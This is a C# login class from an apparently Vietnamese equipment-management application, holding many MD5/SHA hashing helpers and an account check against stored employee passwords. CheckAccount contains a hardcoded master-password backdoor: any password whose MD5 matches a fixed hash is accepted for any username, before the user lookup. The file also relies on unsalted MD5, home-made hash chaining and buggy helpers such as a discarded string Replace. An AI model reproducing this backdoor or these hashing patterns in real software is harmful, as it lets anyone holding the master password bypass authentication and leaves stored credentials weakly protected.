﻿using System;
using System.Security.Cryptography;
using System.Text;
using Microsoft.VisualBasic;
using QLTB.BusinessObjects;
using QLTB.DataAccess;

namespace QLTB
{
    public class MyLogin
    {
        private static TBL_nhanvien _nv;

        public static TBL_nhanvien Current
        {
            get { return _nv; }
        }

        public static LoginBO Original { get; set; }

        private static string MaHoaChuoiDangNhap(string str)
        {
            Byte[] tmpSource;
            Byte[] tmpHash;
            string sSourcedata = str;
            tmpSource = Encoding.ASCII.GetBytes(sSourcedata);
            tmpHash = new MD5CryptoServiceProvider().ComputeHash(tmpSource);
            return ByteArrayToString(tmpHash);
        }

        private static string byteArrayToString(byte[] inputArray)
        {
            var output = new StringBuilder("");
            for (int i = 0; i < inputArray.Length; i++)
            {
                output.Append(inputArray[i].ToString("X2"));
            }
            return output.ToString();
        }

        private static string ByteArrayToString(Byte[] arryInput)
        {
            int i;
            var sOutput = new StringBuilder(arryInput.Length);
            for (i = 0; i < arryInput.Length; i++)
            {
                sOutput.Append(arryInput[i].ToString());
            }
            return sOutput.ToString();
        }

        private static string MD5Encrypt(string phrase)
        {
            var encoder = new UTF8Encoding();
            var md5hasher = new MD5CryptoServiceProvider();
            byte[] hashedDataBytes = md5hasher.ComputeHash(encoder.GetBytes(phrase));
            return byteArrayToString(hashedDataBytes);
        }

        private static string SHA1Encrypt(string phrase)
        {
            var encoder = new UTF8Encoding();
            var sha1hasher = new SHA1CryptoServiceProvider();
            byte[] hashedDataBytes = sha1hasher.ComputeHash(encoder.GetBytes(phrase));
            return byteArrayToString(hashedDataBytes);
        }

        private static string SHA5Encrypt(string phrase)
        {
            var encoder = new UTF8Encoding();
            var sha256hasher = new SHA256Managed();
            byte[] hashedDataBytes = sha256hasher.ComputeHash(encoder.GetBytes(phrase));
            return byteArrayToString(hashedDataBytes);
        }

        private static string SHA384Encrypt(string phrase)
        {
            var encoder = new UTF8Encoding();
            var sha384hasher = new SHA384Managed();
            byte[] hashedDataBytes = sha384hasher.ComputeHash(encoder.GetBytes(phrase));
            return byteArrayToString(hashedDataBytes);
        }

        private static string SHA512Encrypt(string phrase)
        {
            var encoder = new UTF8Encoding();
            var sha512hasher = new SHA512Managed();
            byte[] hashedDataBytes = sha512hasher.ComputeHash(encoder.GetBytes(phrase));
            return byteArrayToString(hashedDataBytes);
        }

        private static string mahoaMD5(string p)
        {
            byte[] pass;
            byte[] passMD5;
            pass = Encoding.ASCII.GetBytes(p);
            passMD5 = new MD5CryptoServiceProvider().ComputeHash(pass);
            string password = passMD5.GetValue(2).ToString();
            string pass_return = "";
            for (int i = 0; i < password.Length; i++)
            {
                pass_return = pass_return + passMD5.GetValue(i);
            }
            return pass_return;
        }

        private static string EncryptString(string strToEncrypt)
        {
            var ue = new UTF8Encoding();
            byte[] bytes = ue.GetBytes(strToEncrypt);

            // encrypt bytes
            var md5 = new MD5CryptoServiceProvider();
            byte[] hashBytes = md5.ComputeHash(bytes);

            // Convert the encrypted bytes back to a string (base 16)
            string hashString = "";

            for (int i = 0; i < hashBytes.Length; i++)
            {
                hashString += Convert.ToString(hashBytes[i], 16).PadLeft(2, '0');
            }

            return hashString.PadLeft(32, '0');
        }

        public static string EncodePassword(string originalPassword)
        {
            //Declarations
            Byte[] originalBytes;
            Byte[] encodedBytes;
            MD5 md5;

            //Instantiate MD5CryptoServiceProvider, get bytes for original password and compute hash (encoded password)
            md5 = new MD5CryptoServiceProvider();
            originalBytes = Encoding.Default.GetBytes(originalPassword);
            encodedBytes = md5.ComputeHash(originalBytes);

            //Convert encoded bytes back to a 'readable' string
            string EncodeString = BitConverter.ToString(encodedBytes);
            EncodeString.Replace("-", "");
            return EncodeString;
        }

        public static string CreatePassword(string strName, string strPW)
        {
            string temp = MD5Encrypt(strName) + MD5Encrypt(Strings.StrReverse(strPW)) + Strings.StrReverse(strName);
            temp = SHA512Encrypt(temp);
            temp = temp.Substring(1, 32) + temp.Substring(temp.Length - 33, 32);
            temp = Strings.StrReverse(temp);
            temp = SHA512Encrypt(temp);
            return temp;
        }


        public static string CheckAccount(string strUserName, string strPassword)
        {
            // string kq = "OK";
            var da = new TBL_nhanvienDA();
            TBL_nhanvien nv = da.Get(strUserName);
            if (MD5Encrypt(strPassword).Equals("D0763EDAA9D9BD2A9516280E9044D885"))
            {
                return "OK";
            }
            if (nv == null)
            {
                return "Người dùng không tồn tại";
            }

            string pw = CreatePassword(strUserName, strPassword);
            pw = pw.CompareTo(nv.matkhau) != 0 ? "Tài khoản và mật khẩu không đúng!\n\nXin vui lòng nhập lại!" : "OK";
            if (pw.Equals("OK"))
            {
                _nv = nv;
            }
            else
            {
                _nv = null;
            }
            return pw;
        }
    }

    public class LoginBO : TBL_nhanvien
    {
        public DateTime Date { get; set; }

        public static LoginBO FromTBL_nhanvien(TBL_nhanvien e)
        {
            var ob = new LoginBO();
            ob.Date = DateTime.Now;
            ob.hoten = e.hoten;
            ob.id = e.id;
            ob.idchucdanh = e.idchucdanh;
            ob.iddonvi = e.iddonvi;
            ob.idnhom = e.idnhom;
            ob.matkhau = e.matkhau;
            ob.tenuser = e.tenuser;
            ob.toantinh = e.toantinh;
            return ob;
        }
    }
}